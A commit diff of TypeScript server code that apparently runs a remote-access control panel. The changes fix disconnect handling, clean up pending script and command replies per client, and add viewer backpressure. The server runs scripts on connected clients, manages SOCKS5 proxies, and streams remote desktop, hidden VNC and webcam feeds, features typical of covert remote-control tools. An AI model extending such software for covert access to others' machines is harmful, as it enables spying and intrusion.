hopefully fix all issues with random disconnects during stupid panics from GPU mode.
This commit is contained in:
@@ -561,7 +561,7 @@ export async function handleClientRoutes(
|
||||
reject(new Error("Script execution timed out after 5 minutes"));
|
||||
}, 5 * 60 * 1000);
|
||||
|
||||
deps.pendingScripts.set(cmdId, { resolve, reject, timeout });
|
||||
deps.pendingScripts.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||
});
|
||||
|
||||
target.ws.send(encodeMessage({
|
||||
@@ -595,7 +595,7 @@ export async function handleClientRoutes(
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Voice capability probe timed out"));
|
||||
}, 30_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
|
||||
@@ -17,11 +17,13 @@ import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
type PendingScript = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
|
||||
clientId: string;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
resolve: (value: { ok: boolean; message?: string }) => void;
|
||||
clientId: string;
|
||||
};
|
||||
|
||||
type WsLifecycleDeps = {
|
||||
@@ -333,6 +335,10 @@ export async function handleWebSocketMessage(
|
||||
logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`);
|
||||
try { existingClient.ws.close(4004, "superseded"); } catch {}
|
||||
clientManager.deleteClient(resolvedId);
|
||||
clearEnrollmentTimeout(resolvedId);
|
||||
deps.rdStreamingState.delete(resolvedId);
|
||||
deps.hvncStreamingState.delete(resolvedId);
|
||||
deps.webcamStreamingState.delete(resolvedId);
|
||||
}
|
||||
|
||||
ws.data.wasKnown = clientExists(resolvedId);
|
||||
@@ -729,6 +735,20 @@ export function handleWebSocketClose(
|
||||
setOnlineState(clientId, false, storedDisconnectReason, storedDisconnectDetail);
|
||||
deps.clearPendingNotificationScreenshots(clientId);
|
||||
deps.clearClientPluginState(clientId);
|
||||
for (const [cmdId, pending] of deps.pendingScripts) {
|
||||
if (pending.clientId === clientId) {
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({ ok: false, error: "Client disconnected" });
|
||||
deps.pendingScripts.delete(cmdId);
|
||||
}
|
||||
}
|
||||
for (const [cmdId, pending] of deps.pendingCommandReplies) {
|
||||
if (pending.clientId === clientId) {
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({ ok: false, message: "Client disconnected" });
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
}
|
||||
}
|
||||
deps.rdStreamingState.delete(clientId);
|
||||
deps.hvncStreamingState.delete(clientId);
|
||||
deps.webcamStreamingState.delete(clientId);
|
||||
|
||||
@@ -120,6 +120,8 @@ function buildViewerFrameBuffer(bytes: Uint8Array, header?: any): Uint8Array {
|
||||
return buf;
|
||||
}
|
||||
|
||||
const VIEWER_BACKPRESSURE_BYTES = 4 * 1024 * 1024; // 4 MB
|
||||
|
||||
function broadcastFrameToViewers(
|
||||
sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>,
|
||||
buf: Uint8Array,
|
||||
@@ -130,6 +132,10 @@ function broadcastFrameToViewers(
|
||||
const byteLen = buf.length;
|
||||
for (const session of sessions) {
|
||||
try {
|
||||
const buffered = session.viewer.getBufferedAmount?.() ?? 0;
|
||||
if (buffered > VIEWER_BACKPRESSURE_BYTES) {
|
||||
continue;
|
||||
}
|
||||
session.viewer.send(buf);
|
||||
metrics.recordBytesSent(byteLen);
|
||||
sent = true;
|
||||
|
||||
Reference in New Issue
Block a user